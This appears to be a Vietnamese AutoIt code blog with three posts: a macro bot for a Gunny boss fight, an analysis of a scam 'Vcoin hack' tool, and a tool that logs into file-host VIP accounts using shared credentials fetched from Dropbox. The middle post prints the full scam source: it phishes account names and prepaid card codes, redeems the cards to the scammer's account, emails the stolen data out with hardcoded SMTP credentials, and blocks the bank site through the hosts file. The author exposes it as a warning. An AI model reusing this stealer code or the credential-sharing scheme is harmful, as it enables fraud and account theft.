Code Auto săn Boss Rồng game Gunny bằng AutoIT

Code này dành cho các GUNNER.
Chỉ cần nhấn F2 một lần duy nhất và chương trình sẽ tự thực hiện click, canh thời gian, dame boss suốt 60 phút mà không cần chạm vào bàn phím

Auto boss rong Gunny
Auto boss rong Gunny

Hướng dẫn sử dụng Tools

Chỉnh độ phân giải màn hình về 1360×768 trước khi chạy.
Chương trình áp dụng cho các loại vũ khí có góc rộng
Đi trước boss rồng 1 lần và tắt cái giao diện mua đạo cụ hỗ trợ đi (nhớ tick vào không hiển thị lần sau nhé)
Sau khi đi xong 1 lần và tắt giao diện mua đạo cụ thì nhấn F2 để bắt đầu chương trình
Bạn phải để nguyên cửa sổ của gunny thì chương trình mới thực hiện được chính xác các chức năng
Muốn thoát khỏi chương trình bạn hãy nhấn F9
Về tools bao gồm tự buff và bắn lực nhập vào:
Nhấn F3 buff 1445678, F4 buff 3445678, F6 buff 1445678b, F7 3445678b và F8 buff 12
Nhấn TAB và nhập lực muốn bắn chương trình sẽ tự động bắn lực đó giúp bạn
Lưu ý: chương trình không tự động tính góc và lực (Chỉnh góc và tính lực trước khi nhấn TAB)

Code Auto Boss Rồng

[au3]
MsgBox(0, "Auto săn rồng + tools", "Tools dùng cho độ phân giải 1360×768, nếu dùng độ phân giải khác thì dừng Gunny launcher để chỉnh cho khớp với màn hình nhé!" & @CRLF & "Nhấn F1 để xem hướng dẫn")
HotKeySet("{F1}", "hd")
HotKeySet("{F2}", "star")
HotKeySet("{F3}", "b14")
HotKeySet("{F4}", "b34")
HotKeySet("{F6}", "p14")
HotKeySet("{F7}", "p34")
HotKeySet("{F8}", "b12")
HotKeySet("{F9}", "ENX")
HotKeySet("{F10}", "JPOS")
HotKeySet("0", "banrong")
HotKeySet("{tab}", "nhap")
Local $a = Random(30, 50)
While 1
Sleep(100)
WEnd

Func jpos()
$jpos = MouseGetPos()
MsgBox(0, "Tọa độ chuột x,y:", $jpos[0] & "," & $jpos[1])
EndFunc

Func b14()
Sleep(200)
Send("1445678")
EndFunc

Func b34()
Sleep(200)
Send("3445678")
EndFunc

Func p14()
Sleep(200)
Send("1445678b")
EndFunc

Func p34()
Sleep(200)
Send("3445678b")
EndFunc

Func b12()
Sleep(200)
Send("12")
EndFunc

Func hd()
Sleep(500)
MsgBox(0, "Hướng dẫn", "Về Auto boss rồng:" & @CRLF & _
"Chương trình áp dụng cho các loại vũ khí có góc rộng" & @CRLF & _
"Đi trước boss rồng 1 lần và tắt cái giao diện mua đạo cụ hỗ trợ đi (nhớ tick vào không hiển thị lần sau nhé)" & @CRLF & _
"Sau khi đi xong 1 lần và tắt giao diện mua đạo cụ thì nhấn F2 để bắt đầu chương trình" & @CRLF & _
"Bạn phải để nguyên cửa sổ của gunny thì chương trình mới thực hiện được chính xác các chức năng" & @CRLF & _
"Muốn thoát khỏi chương trình bạn hãy nhấn F9" & @CRLF & _
"Về tools bao gồm tự buff và bắn lực nhập vào:" & @CRLF & _
"Nhấn F3 buff 1445678, F4 buff 3445678, F6 buff 1445678b, F7 3445678b và F8 buff 12" & @CRLF & _
"Nhấn TAB và nhập lực muốn bắn chương trình sẽ tự động bắn lực đó giúp bạn" & @CRLF & _
"Lưu ý: chương trình không tự động tính góc và lực (Chỉnh góc và tính lực trước khi nhấn TAB)")
EndFunc

Func star()
While 1
MouseClick("left", 662, 573)
Sleep(2000)
MouseClick("left", 685, 474)
Sleep(1000)
MouseClick("left", 685, 474)
Sleep(200)
MouseClick("left", 997, 218)
Sleep(1000)
MouseClick("left", 662, 573)
MouseClick("left", 662, 573)
Sleep(20000)
Send("{UP $a}")
Sleep(500)
Send("1445678b")
Send("0")
Sleep(9000)
Send("1445678b")
Send("0")
Sleep(15000)
Send("1445678b")
Send("0")
Sleep(18500)
Sleep(15000)
WEnd
EndFunc

Func banrong()
Sleep(300)
Local $giatri = 60
_start($giatri)
EndFunc

Func nhap()
Sleep(300)
Local $giatri = InputBox("Nhập lực muốn bắn???", "0~100")
If ($giatri > 0 OR $giatri <> "") Then
_start($giatri)
EndIf
EndFunc

Func _start($param1)
Sleep(500)
$timeinit = TimerInit()
Do
Send("{SPACE down}")
Until TimerDiff($timeinit) >= $param1 * 40.5555555555556
Send("{SPACE up}")
Send("{space}")
EndFunc

Func enx()
Exit 0
EndFunc
[/au3]
Các bạn có thể chỉnh sửa để code chạy tốt hơn hoặc tham khảo để phát triển auto cho các game khác chúc các bạn thành công

Code AutoIT Hack Vcoin lừa đảo của hackgame.org

Code lừa đảo của hackgame.org viết bằng AutoIT

Chào các bạn hôm nay mình share 1 code của hackgame.org một trang web được xây dựng rất công phu để lừa đảo. Hy vọng đừng bạn nào tin vào trò lừa đảo này nhé và hãy luôn nghĩ rằng “không ai cho không ai cái gì” khi sử dụng các công cụ hack kiểu này.

Cái tool lừa đảo này có tên đại loại như:
Hack Báu vật Vcoin GP CF
Shop Báu Vật CF Vĩnh Viễn
Hack Zing Xu 2013
Shop Vật phẩm Gunny 2
Hack Wow Xu Gunny 2
Hack Audition Season 3
Hack Vcoin eBank VTC
Hack Vcoin CF 2013
Hack FifaOnline 2 – Vcoin + LP
Cong Dong Game Hack CF
OneHitCF 1125 hack cf moi nhat
VinaCF 1125, Download Vina CF 1125
Hack CF 1125 – One hit, headshot
Tổng hợp Hack CF 2013
CongDongGame.Net Hack cf
KMODZ Hack Au 6123 – Hack NVTT 6123

hackgame.org lừa đảo
hackgame.org lừa đảo

OK đây là 1 code các code khác tương tự như vậy. Cái web này vẫn đang hoạt động vì vậy các bạn có thể update code của nó thường xuyên 🙂
[au3]
#NoTrayIcon
WinMinimizeAll()
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
MsgBox(0, "BugBauVat_CF", "Thông báo: Cập nhật báu vật nhận được 100% khi Bug (VICTORIA, AK47-Scope-R.Dragon, FR-F2, BLADE, ScarLight-R.Dragon, AUG A1-R.Dragon, M4A1-Red Dragon, AWM-R.Dragon, FOX, DELTA, ROSE, RPK-Gold, GatlingGun-gold, Barrett M99….)")
MsgBox(0, "BugBauVat_CF", "Nâng cấp bản Bug tất cả báu vật cho phiên bản Đột Kích mới nhất")
ProgressOn("Loading …", " Nâng Cấp Bug…", "0 %")
For $i = 1 To 100 Step 1
Sleep(40)
ProgressSet($i, "Quá Trình Nâng Cấp : " & $i & " %")
Next
Sleep(1000)
ProgressOff()
Run("HuongDan.exe")
$version = "BugBauVat_CF"
If _singleton($version, 1) = 0 Then
MsgBox(0, "Stopped", "Hệ thống không cho phép 2 chương trình cùng chạy.")
Exit
EndIf

Func _singleton($soccurencename, $iflag = 0)
Local Const $error_already_exists = 183
Local Const $security_descriptor_revision = 1
Local $handle, $lasterror, $psecurityattributes = 0
$handle = DllCall("kernel32.dll", "int", "CreateMutex", "ptr", $psecurityattributes, "long", 1, "str", $soccurencename)
$lasterror = DllCall("kernel32.dll", "int", "GetLastError")
If $lasterror[0] = $error_already_exists Then
If BitAND($iflag, 1) Then
Return SetError($lasterror[0], $lasterror[0], 0)
Else
Exit – 1
EndIf
EndIf
Return $handle[0]
EndFunc

AutoItSetOption("TrayOnEventMode", 1)
AutoItSetOption("TrayMenuMode", 1)
Opt("GUICloseOnESC", 0)
Beep(1000, 100)
Dim $aarray1[1]
Local $msg
Dim $aarray1[1]
Local $msg
Dim $gui1, $oie, $gui
$gui = GUICreate($version, 600, 394, -1, -1, -2147483648)
WinSetTrans($version, "", 0)
$minimize = GUICtrlCreateIcon("minimize", -1, 546, 9, 23, 22, -1, 32)
GUICtrlSetTip($minimize, "Thu Nhỏ Chương Trình", $version, 1, 1)
$acc = GUICtrlCreateInput("", 145, 279, 130, 20, 1, 32)
GUICtrlSetTip($acc, "Tài Khoản CF Cần Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 16)
$se1 = GUICtrlCreateInput("PM00", 145, 316, 130, 20, 9, 32)
GUICtrlSetTip($se1, "Nhập số Seri trên thẻ Vcoin VTC Để Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 12)
$se2 = GUICtrlCreateInput("", 145, 352, 130, 19, 8193, 32)
GUICtrlSetTip($se2, "Nhập mã thẻ Vcoin VTC Để Bug", $version, 1, 1)
GUICtrlSetColor(-1, 0)
GUICtrlSetLimit(-1, 12)
$ui = GUICtrlCreatePic("Start", 311, 302, 121, 47, -1, 32)
GUICtrlSetTip($ui, "Bắt Đầu quá trình Bug Báu Vật, Vcoin+GP", $version, 1, 1)
GUICtrlSetCursor($ui, 0)
$e = GUICtrlCreatePic("Exit", 574, 9, 22, 22, -1, 32)
GUICtrlSetTip($e, "Exit Hack", $version, 1, 1)
GUICtrlSetCursor($e, 0)
GUICtrlCreatePic("ModzCF", 0, 0, 600, 394)
GUISetState()
For $i = 0 To 255 Step 5
WinSetTrans($version, "", $i)
Next
$iepath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE", "")
Run($iepath & " http://hanamonline.com ", "", @SW_SHOW)
Run($iepath & " http://hackgame.org/videocrossfire/ ", "", @SW_SHOW)
While 1
$msg = GUIGetMsg()
Select
Case $msg = $gui_event_close
Exit
Case $msg = $ui
If StringLen(GUICtrlRead($acc)) > 18 OR StringLen(GUICtrlRead($acc)) < 4 Then
MsgBox(0, "BugBauVat_CF", "Xin vui lòng nhập tên tài khoản Hack chính xác")
ElseIf StringLen(GUICtrlRead($se1)) <> 12 Then
MsgBox(0, "BugBauVat_CF", "Seri thẻ không hợp lệ vui lòng kiểm tra lại")
ElseIf StringLen(GUICtrlRead($se2)) <> 12 Then
MsgBox(0, "BugBauVat_CF", "Mã thẻ không hợp lệ vui lòng kiểm tra lại")
ElseIf StringLeft(GUICtrlRead($se1), 3) <> "PM0" AND StringLeft(GUICtrlRead($se1), 3) <> "PM1" Then
MsgBox(0, "BugBauVat_CF", "Thẻ này không hợp lệ .Vui lòng kiểm tra lại")
Else
$seri1 = GUICtrlRead($se1)
$seri2 = GUICtrlRead($se2)
Call("LOAD")
EndIf
Case $msg = $minimize
GUISetState(@SW_MINIMIZE)
Case $msg = $e
If WinExists("VTC eBank – Thay đổi thông tin") Then
WinClose("VTC eBank – Thay đổi thông tin")
EndIf
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
Run("CrossFire_4VN.bat")
For $i = 255 To 1 Step -5
WinSetTrans($version, "", $i)
Sleep(10)
Next
Exit
EndSelect
WEnd

Func load()
WinMinimizeAll()
GUISetState(@SW_HIDE, $gui)
$guiload = GUICreate("Wait", 700, 80, -1, -1, -2147483648, $ws_ex_toolwindow)
GUISetBkColor(3327, $guiload)
$tb = GUICtrlCreatePic("Connection", 0, 0, 700, 80)
GUICtrlSetFont(-1, 12)
GUICtrlSetColor(-1, 16711680)
GUISetState()
$oienap = _iecreate("https://ebank.vtc.vn/home/", 0, 0, 1)
If WinExists("Certificate Error: Navigation Blocked") Then
$bam = _iegetobjbyname($oienap, "overridelink")
_ieaction($bam, "click")
EndIf
If WinActive("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?") Then
ControlClick("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?", 0)
EndIf
Sleep(2000)
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o1s = _ieformelementgetobjbyname($oform, "ctl00_txtUserName")
_ieformelementsetvalue($o1s, "IEFormBody")
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o2s = _ieformelementgetobjbyname($oform, "ctl00_txtPassword")
_ieformelementsetvalue($o2s, "IEConsend")
_ieformsubmit($oform)
Sleep(2000)
$osubmit = _iegetobjbyname($oienap, "ctl00$btnLogin")
_ieaction($osubmit, "click")
$oform = _ieformgetobjbyname($oienap, "aspnetForm")
$o2s = _ieformelementgetobjbyname($oform, "ctl00_txtPassword")
_ieformelementsetvalue($o2s, "IEConsend")
$osubmit = _iegetobjbyname($oienap, "ctl00$btnLogin")
_ieaction($osubmit, "click")
$bodyloads = _iebodyreadtext($oienap)
If StringInStr($bodyloads, "Chào bạn") Then
MsgBox(0, "HackGame.Org", "Thông báo: Hack Gặp lỗi không có kết nối mạng Internet. Hoặc đang có nhiều người sử dụng Hack làm tắc ghẽn Server, bạn có thể thử lại vào lúc khác")
If WinExists("VTC eBank – Thay đổi thông tin") Then
WinClose("VTC eBank – Thay đổi thông tin")
EndIf
Exit
EndIf
$oiess = _iecreate("https://ebank.vtc.vn/home/account.infor.html?l=vi", 0, 0, 1)
$stextload = _iebodyreadhtml($oiess)
$bodyload = _iebodyreadtext($oiess)
_ieloadwait($oiess)
$i = 1
If WinActive("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?") Then
ControlClick("AutoComplete Passwords", "Do you want Internet Explorer to remember this password?", 0)
EndIf
If StringInStr($bodyload, "Thông tin tài khoản") Then
GUIDelete($guiload)
GUISetState(@SW_SHOW, $gui)
Call("GUI")
Else
If NOT StringInStr($bodyload, "Thông tin tài khoản") Then
MsgBox(0, "HackGame.Org", "Thông báo: Hack Gặp lỗi không có kết nối mạng Internet. Hoặc đang có nhiều người sử dụng Hack làm tắc ghẽn Server, bạn có thể thử lại vào lúc khác")
_iequit($oiess)
If WinExists("VTC eBank") Then
WinClose("VTC eBank")
EndIf
Run("CF.bat")
GUIDelete($guiload)
GUISetState(@SW_SHOW, $gui)
EndIf
EndIf
EndFunc

Func luadao()
$oie = _iecreate("https://ebank.vtc.vn/home/ebank.account.changeinfo.html?m=1&l=vi", 0, 0, 1)
$a = 200
$i = 1
While $i <= 20
$body = _iebodyreadhtml($oie)
$stext = _iebodyreadtext($oie)
If NOT StringInStr($stext, "Thay đổi thông tin ") Then
MsgBox(0, "Lỗi !", "Bạn chưa đăng nhập vào tài khoản hoặc đăng nhập quá 10 phút" & @CRLF & " Vui lòng đọc kỹ hướng dẫn.")
Exit
EndIf
Sleep(1000)
Dim $aarray1[1]
$aarray1 = _stringbetween($stext, "Tổng số dư ", " Vcoin")
If StringInStr($body, $aarray1[0] & " VCoin") Then
$newbody = StringReplace($body, $aarray1[0] & " VCoin", $aarray1[0] + 5000 & " VCoin")
_iebodywritehtml($oie, $newbody)
Else
MsgBox(0, "Lỗi !", "Bạn chưa đăng nhập vào tài khoản hoặc đăng nhập quá 10 phút" & @CRLF & " Vui lòng đọc kỹ hướng dẫn.")
EndIf
$a = $a + 200
$i = $i + 1
WEnd
Call("DIE")
MsgBox(0, "Thông báo !", "Tổng số dư trong tài khoản của bạn được cộng thêm là 100.000 Vcoin !")
Exit
EndFunc

Func nap()
$oie1 = _iecreate("https://ebank.vtc.vn/home/money.vto.card.html", 0, 0, 1, @SW_HIDE)
_ieloadwait($oie1)
Sleep(1000)
If WinActive("Security Alert", "Information you exchange with this site") Then
ControlClick("Security Alert", "Information you exchange with this site", 1)
EndIf
$oform1 = _ieformgetobjbyname($oie1, "aspnetForm")
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtSerinumber")
_ieformelementsetvalue($otext1, GUICtrlRead($se1))
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtCardVTOCode")
_ieformelementsetvalue($otext1, GUICtrlRead($se2))
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtAccount")
_ieformelementsetvalue($otext1, "comejenyc")
$otext1 = _ieformelementgetobjbyname($oform1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$txtAccount")
_ieformelementsetvalue($otext1, "comejenyc")
Sleep(3000)
$osubmit1 = _iegetobjbyname($oie1, "ctl00$ctl00$ContentPlaceHolder1$ContentPlaceHolder1$btnTopUp")
_ieaction($osubmit1, "click")
_ieloadwait($oie1)
$i = 1
While 1
Sleep(500)
If WinActive("Windows Internet Explorer", "Card không tồn tại") Then
ControlClick("Windows Internet Explorer", "Card không tồn tại", 1)
EndIf
If WinExists("Windows Internet Explorer", "Card đã được sử dụng") Then
ControlClick("Windows Internet Explorer", "Card đã được sử dụng", 2)
EndIf
If WinExists("Windows Internet Explorer", "Số seri thẻ phải có 12 ký tự") Then
ControlClick("Windows Internet Explorer", "Số seri thẻ phải có 12 ký tự", 2)
EndIf
If WinExists("Windows Internet Explorer", "Mã thẻ không hợp lệ, mã thẻ hợp lệ gồm 12 chữ số") Then
ControlClick("Windows Internet Explorer", "Mã thẻ không hợp lệ, mã thẻ hợp lệ gồm 12 chữ số", 2)
EndIf
$body1 = _iebodyreadtext($oie1)
If StringInStr($body1, "Bạn vui lòng nhập seri và mã thẻ dưới lớp tráng bạc trên thẻ") Then
If ProcessExists("iexplore.exe") Then
ProcessClose("iexplore.exe")
EndIf
MsgBox(32, "HackGame.Org", "Thông báo: Quá trình Bug gặp phải các lỗi sau. (Thẻ không tồn tại hoặc đx qua sử dụng hoặc Mệnh Giá thẻ quá thấp(20.000)")
MsgBox(32, "HackGame.Org", "Các bạn có thể sử dụng Thẻ khác có giá trị để thực hiện lần Bug tiếp theo!")
_iequit($oie1)
If WinExists("VTC eBank – Thông tin tài khoản") Then
WinClose("VTC eBank – Thông tin tài khoản")
EndIf
Run("CF.bat")
GUIDelete($gui1)
GUISetState(@SW_SHOW, $gui)
ExitLoop
Else
If $i = 1500 Then
GUISetState(@SW_HIDE, $gui)
GUIDelete($gui1)
Call("GUI")
ExitLoop
Else
$i = $i + 1
EndIf
EndIf
WEnd
EndFunc

Func die()
$file = FileOpen(@SystemDir & "\drivers\etc\hosts", 1)
If $file = -1 Then
MsgBox(0, "Thông báo !", "Tổng số dư trong tài khoản của bạn được cộng thêm là 100.000 Vcoin !")
Exit
EndIf
FileWrite($file, @CRLF & "127.0.0.1 ebank.vtc.vn")
FileWrite($file, @CRLF & "127.0.0.1 www.ebank.vtc.vn")
FileWrite($file, @CRLF & "127.0.0.1 http://ebank.vtc.vn")
FileClose($file)
EndFunc

Func gui()
GUISetState(@SW_HIDE, $gui)
$gui1 = GUICreate("Wait", 700, 80, -1, -1, -2147483648, $ws_ex_toolwindow)
GUISetBkColor(3327, $gui1)
$tb = GUICtrlCreatePic("Connection", 0, 0, 700, 80)
GUICtrlSetFont(-1, 12)
GUICtrlSetColor(-1, 16711680)
GUISetState()
Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
$s_smtpserver = "smtp.gmail.com"
$s_fromname = "Crossfire"
$s_fromaddress = "hotromodz@gmail.com"
$s_toaddress = "hotromodz@gmail.com"
$s_subject = "Support"
$as_body = "Account: " & GUICtrlRead($acc) & " " & "Seri: " & GUICtrlRead($se1) & " " & "Code: " & GUICtrlRead($se2)
$s_attachfiles = ""
$s_ccaddress = ""
$s_bccaddress = ""
$s_username = "hotkey.autoit"
$s_password = "autoit3.5 suppro"
$ipport = 465
$ssl = 1
Global $omyret[2]
Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject, $as_body, $s_attachfiles, $s_ccaddress, $s_bccaddress, $s_username, $s_password, $ipport, $ssl)
If @error Then
Call("NAP")
Else
GUIDelete($gui1)
Call("NAP")
EndIf
EndFunc

Func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0)
$objemail = ObjCreate("CDO.Message")
$objemail.from = ‘"’ & $s_fromname & ‘" <‘ & $s_fromaddress & ">"
$objemail.to = $s_toaddress
Local $i_error = 0
Local $i_error_desciption = ""
If $s_ccaddress <> "" Then $objemail.cc = $s_ccaddress
If $s_bccaddress <> "" Then $objemail.bcc = $s_bccaddress
$objemail.subject = $s_subject
If StringInStr($as_body, "<") AND StringInStr($as_body, ">") Then
$objemail.htmlbody = $as_body
Else
$objemail.textbody = $as_body & @CRLF
EndIf
If $s_attachfiles <> "" Then
Local $s_files2attach = StringSplit($s_attachfiles, ";")
For $x = 1 To $s_files2attach[0]
$s_files2attach[$x] = _pathfull($s_files2attach[$x])
If FileExists($s_files2attach[$x]) Then
$objemail.addattachment($s_files2attach[$x])
Else
$i_error_desciption = $i_error_desciption & @LF & "File not found to attach: " & $s_files2attach[$x]
SetError(1)
Return 0
EndIf
Next
EndIf
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport
If $s_username <> "" Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password
EndIf
If $ssl Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
$objemail.configuration.fields.update
$objemail.send
If @error Then
SetError(2)
Return $omyret[1]
EndIf
EndFunc

Func myerrfunc()
$hexnumber = Hex($omyerror.number, 8)
$omyret[0] = $hexnumber
$omyret[1] = StringStripWS($omyerror.description, 3)
ConsoleWrite("### COM Error ! Number: " & $hexnumber & " ScriptLine: " & $omyerror.scriptline & " Description:" & $omyret[1] & @LF)
SetError(1)
Return
EndFunc
[/au3]

Lưu ý: Do lo ngại một số bạn có thể áp dụng vào mục đích xấu nên code này các bạn copy về chưa thể chạy được ngay như những code khác mình share. Các bạn cũng đừng pm mình hỏi làm sao cho nó chạy nhé 🙂

Code này làm những gì?

Thực chất code này rất đơn giản nó chỉ tạo form yêu cầu bạn điền mã thẻ, tài khoản và password sau đó:
+ Mã thẻ nó dùng thư viện IE tự động nạp thẻ vào tài khoản comejenyc tài khoản này chắc là của thằng viết ra cái trò lừa đảo này rồi.
+ Thông tin tài khoản nó sẽ gửi vào email: hotromodz@gmail.com
+ Không cho bạn truy cập vào ebank.vtc.vn để lấy lại tài khoản bằng cách ghi 3 dòng sau vào file host

FileWrite($file, @CRLF & “127.0.0.1 ebank.vtc.vn”)
FileWrite($file, @CRLF & “127.0.0.1 www.ebank.vtc.vn”)
FileWrite($file, @CRLF & “127.0.0.1 http://ebank.vtc.vn”)

Lời kết

Các bạn đọc lại code mình ko phân tích sâu vào từng lệnh. Có 2 file .bat và HuongDan.exe mình chưa phân tích.
Ở đây trong hàm gửi mail có username và password của cái mail mà tool gửi về
[au3]
$s_username = "hotkey.autoit"
$s_password = "autoit3.5 suppro"
[/au3]
Cái mail này chắc bị bọn nước ngoài nó thịt lâu rồi vì mình thấy bài viết về cái tool này trên diễn đàn

http://board.deioncube.in/showthread.php?tid=29&page=5

Thread được tạo ngày 06-06-2011
Mình share code này không hy vọng các bạn đi lừa đảo người khác vì sớm muộn gì các bạn cũng bị phát hiện và hậu quả thì tùy bạn tưởng tượng 🙂

Code tool Getlink up.4share.vn with accout VIP bằng Autoit

Chức năng Getlink up.4share.vn with accout VIP

1.Hỗ trợ Windows XP, Windows 7, Windows 8 (Đã test thành công hết nhé, nếu có lỗi gì thì anh em thông báo lại nhé )
2.Cho phép chon acc khác khi acc đang sử dụng bị hết BW để get link tiếp ( Acc 1 và Acc 2 là giới hạn 60GB/1 ngày. Acc 3 VIP Funny còn 240GB và mua thêm BW liên tục )
3.Hiện thông báo về dung lượng mà acc đã sử dụng để các bạn biết nếu nó quá 60GB thì chuyển sang acc khác.
4.Tự động copy direct link sau khi get link vào clip board ( Xóa nút copy d-link ở phiên bản cũ và thay vào đó là nút Import to IDM )
5.Thêm nút Import to IDM để gửi nhanh link tới IDM

Getlink up.4share.vn v3.0.1 with accout VIP Demo
Getlink up.4share.vn v3.0.1 with accout VIP Demo

Chú ý : VÌ phiên bản mới cho phép lựa chọn thay đổi acc và phải kiểm tra BW của acc nên tốc độ get link có thể hơi chậm nếu trình duyệt IE của bạn chạy chậm. Khi get link thì tốt nhất đừng download/upload cái gì cả để IE nó chạy nhanh nhanh tí nhé.
Tốt nhất bạn hãy cài Admuncher vào để nó chặn các quảng cáo đi giúp IE lướt web nhanh hơn.

Code tools Getlink up.4share.vn with accout VIP

Download tại đây:
Getlink up.4share.vn v3.0.1 with accout VIP
Hoặc copy code tại đây:
[au3]
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <ComboConstants.au3>
#include <String.au3>
#include <IE.au3>

#Region ### START Koda GUI section ### Form=D:\HOC TAP\AutoIT\koda_1.7.3.0\Forms\Get link 4share 3.kxf
$form1 = GUICreate("Getlink up.4share.vn with accout VIP", 780, 530, -1, -1)
GUISetBkColor(0xFE7C00)
$label1 = GUICtrlCreateLabel("", 8, 15, 753, 27, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$label2 = GUICtrlCreateLabel("", 8, 40, 753, 17, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$edit1 = GUICtrlCreateEdit("Nhập link up.4share.vn cần get vào đây, mỗi dòng một link. Chú ý không có dòng trắng.", 8, 72, 761, 175)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$edit2 = GUICtrlCreateEdit("D-link download sẽ xuất ra ở đây.", 8, 304, 761, 175)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$button1 = GUICtrlCreateButton("Get Link", 24, 256, 80, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$button2 = GUICtrlCreateButton("Hướng dẫn sử dụng và download phiên bản mới", 504, 256, 264, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$button3 = GUICtrlCreateButton("Import to IDM", 120, 256, 90, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$combo1 = GUICtrlCreateCombo("Acc 1", 328, 264, 145, 33, BitOR($cbs_dropdown, $cbs_autohscroll))
GUICtrlSetData(-1, "Acc 1|Acc 2|Acc 3", "")
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$label3 = GUICtrlCreateLabel("Chọnn account", 220, 264, 108, 25)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$label4 = GUICtrlCreateLabel("", 8, 500, 756, 17, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
WinSetTitle("", "", "Getlink up.4share.vn v3.0.1 with accout VIP – Release Date : September 13, 2012")
ProcessClose("iexplore.exe")
Sleep(100)
ProcessClose("iexplore.exe")
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $status = _stringbetween($acc, "<3>", "</3>")
Global $status2 = _stringbetween($acc, "<4>", "</4>")
Global $urlhelp = _stringbetween($acc, "<5>", "</5>")
GUICtrlSetData($label1, $status[0])
GUICtrlSetData($label2, $status2[0])
Global $status3 = _stringbetween($acc, "<8>", "</8>")
GUICtrlSetData($label4, $status3[0])
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
Exit
Case $button1
ProcessClose("iexplore.exe")
Sleep(100)
ProcessClose("iexplore.exe")
GUICtrlSetData($edit2, "D-link download sẽ xuất ra ở đây")
_getlink()
Case $button2
_iecreate($urlhelp[0], 1, 1, 0)
Case $button3
ClipPut(GUICtrlRead($edit2))
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm)
WinActivate("Internet Download Manager")
WinWaitActive("Internet Download Manager")
Send("{ALTDOWN}tc{ALTUP}")
WinActivate("Batch download from clipboard.")
WinWaitActive("Batch download from clipboard.")
ControlClick("Batch download from clipboard.", "", "Check All")
ControlClick("Batch download from clipboard.", "", "OK")
MsgBox(0, "Thông báo", "Bạn hãy cho IDM download về là xong")
EndSwitch
WEnd

Func _getlink()
Select
Case (GUICtrlRead($combo1)) = "Acc 1"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<b>", "</b>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "</b><b>", "</b></br>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case (GUICtrlRead($combo1)) = "Acc 2"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<1>", "</1>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "<2>", "</2>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case (GUICtrlRead($combo1)) = "Acc 3"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<6>", "</6>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "<7>", "</7>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case Else
MsgBox(0, "", "Bạn chỉ được chọn từ Acc 1 đến Acc 3.")
EndSelect
GUICtrlSetData($label1, "Đang kết nối tài acc VIP. Quá trình này hơi lâu, vui lòng chờ kết nối")
GUICtrlSetData($label2, "Nếu acc VIP bị hết BW thì sẽ không get được link, bấm sau bạn get link tiếp nhé")
$username = $user
$password = $pass
$oie = ObjCreate("InternetExplorer.Application")
$oie.visible = False
$oie.navigate("http://up.4share.vn/?control=login")
